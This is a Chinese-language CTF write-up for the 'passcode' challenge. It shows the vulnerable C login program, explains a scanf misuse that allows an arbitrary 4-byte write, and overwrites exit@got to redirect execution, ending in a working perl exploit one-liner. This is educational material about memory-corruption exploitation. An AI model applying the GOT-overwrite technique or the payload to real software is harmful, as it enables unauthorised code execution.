代码如下
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}问题出在login()中，scanf的第二个参数给的不是变量的地址。如果passcode1和passcode2的初始值指向不可写的地方，而且scanf成功，那么就会segfault
于是思路就是，在login()执行前，在welcome()中把栈上的值设好。所以这道题和OverTheWire上的Manpage里一道题思路有相似的地方
具体地，name在welcome()中的地址是ebp-0x70，passcode1和passcode2在login()中的地址是ebp-0x10和ebp-0xc。正好我们只能改写passcode1，改不了passcode2。于是单纯地想把两个都修改为检查值的方法行不通了
但是我们发现，passcode1那里由于scanf，可以做到写4 bytes到任意地址。所以我们可以修改程序流程，让他跳到system读flag那里。
而由于ASLR，想修改返回地址不靠谱，于是我们可以修改exit@got。这样检查失败后，调用exit(0)就成了system("/bin/cat flag");
由readelf -r passcode可知exit@got在0x0804a018，于是把passcode1设为它；然后通过scanf将其改为0x080485e3=134514147。注意我们要让passcode2在scanf时不能segfault，于是输入非数字让scanf失败
$ perl -e 'print "A"x96 . "\x18\xa0\x04\x08" . "134514147\n" . "f\n"' | ./passcode